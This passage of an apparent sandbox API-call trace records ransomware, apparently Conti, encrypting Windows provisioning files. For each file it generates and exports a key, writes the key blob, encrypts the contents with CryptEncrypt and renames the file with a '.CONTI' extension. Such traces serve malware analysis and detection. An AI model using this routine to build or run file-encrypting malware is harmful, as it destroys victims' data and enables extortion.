	[0108.128] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0108.129] GetProcessHeap () returned 0x1720000
	[0108.129] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.129] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.129] GetProcessHeap () returned 0x1720000
	[0108.129] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd210 | out: hHeap=0x1720000) returned 1
	[0108.129] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0108.382] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c8330) returned 1
	[0108.382] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x35ffa54 | out: pbData=0x17d4684*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0108.658] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0110.108] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.108] GetLastError () returned 0x0
	[0110.108] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=729) returned 1
	[0110.108] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d9
	[0110.108] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.110] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.125] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.139] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.139] WriteFile (in: hFile=0x3e4, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.141] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.141] ReadFile (in: hFile=0x3e4, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x2d9, lpOverlapped=0x0) returned 1
	[0110.141] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2d9, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2e0) returned 1
	[0110.141] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.141] WriteFile (in: hFile=0x3e4, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.141] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.141] WriteFile (in: hFile=0x3e4, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0110.141] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.141] CloseHandle (hObject=0x3e4) returned 1
	[0110.141] GetProcessHeap () returned 0x1720000
	[0110.141] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.141] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml"
	[0110.142] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.CONTI"
	[0110.142] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0110.142] GetProcessHeap () returned 0x1720000
	[0110.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.142] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.142] GetProcessHeap () returned 0x1720000
	[0110.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589248 | out: hHeap=0x1720000) returned 1
	[0110.142] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0110.142] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b768a8 | out: phKey=0x6b768a8*=0x6b7f678) returned 1
	[0110.142] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b768ac, pdwDataLen=0x35ffa54 | out: pbData=0x6b768ac*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0110.143] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.143] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.143] GetLastError () returned 0x0
	[0110.143] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=480) returned 1
	[0110.144] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0110.144] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.144] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.144] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.145] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.145] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b768ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b768ac*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.146] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.146] ReadFile (in: hFile=0x3e4, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0110.147] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1e0, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1f0) returned 1
	[0110.147] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.147] WriteFile (in: hFile=0x3e4, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x1f0, lpOverlapped=0x0) returned 1
	[0110.147] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.147] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b768a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b768a0*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0110.147] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.147] CloseHandle (hObject=0x3e4) returned 1
	[0110.147] GetProcessHeap () returned 0x1720000
	[0110.147] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.147] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0110.147] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0110.147] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0110.148] GetProcessHeap () returned 0x1720000
	[0110.148] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.148] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.148] GetProcessHeap () returned 0x1720000
	[0110.148] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e2290 | out: hHeap=0x1720000) returned 1
	[0110.148] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0110.148] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x65655d8 | out: phKey=0x65655d8*=0x6b7f678) returned 1
	[0110.148] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65655dc, pdwDataLen=0x35ffa54 | out: pbData=0x65655dc*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0110.149] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.149] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.149] GetLastError () returned 0x0
	[0110.149] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=765) returned 1
	[0110.149] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2fd
	[0110.149] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.149] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.149] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.149] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.149] WriteFile (in: hFile=0x3e4, lpBuffer=0x65655dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x65655dc*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.151] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.151] ReadFile (in: hFile=0x3e4, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x2fd, lpOverlapped=0x0) returned 1
	[0110.151] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2fd, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x300) returned 1
	[0110.151] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.151] WriteFile (in: hFile=0x3e4, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x300, lpOverlapped=0x0) returned 1
	[0110.151] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.151] WriteFile (in: hFile=0x3e4, lpBuffer=0x65655d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x65655d0*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0110.151] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.151] CloseHandle (hObject=0x3e4) returned 1
	[0110.152] GetProcessHeap () returned 0x1720000
	[0110.152] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.152] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml"
	[0110.152] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.152] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.153] GetProcessHeap () returned 0x1720000
	[0110.153] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.153] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.153] GetProcessHeap () returned 0x1720000
	[0110.153] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b709d0 | out: hHeap=0x1720000) returned 1
	[0110.153] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0110.153] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6564150 | out: phKey=0x6564150*=0x6b7f678) returned 1
	[0110.153] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6564154, pdwDataLen=0x35ffa54 | out: pbData=0x6564154*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0110.154] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.154] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0110.154] GetLastError () returned 0x0
	[0110.154] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=785) returned 1
	[0110.154] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x311
	[0110.154] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.154] SetEndOfFile (hFile=0x3e4) returned 1
	[0110.154] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.154] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.154] WriteFile (in: hFile=0x3e4, lpBuffer=0x6564154*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6564154*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.156] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.156] ReadFile (in: hFile=0x3e4, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x311, lpOverlapped=0x0) returned 1
	[0110.156] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x311, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x320) returned 1
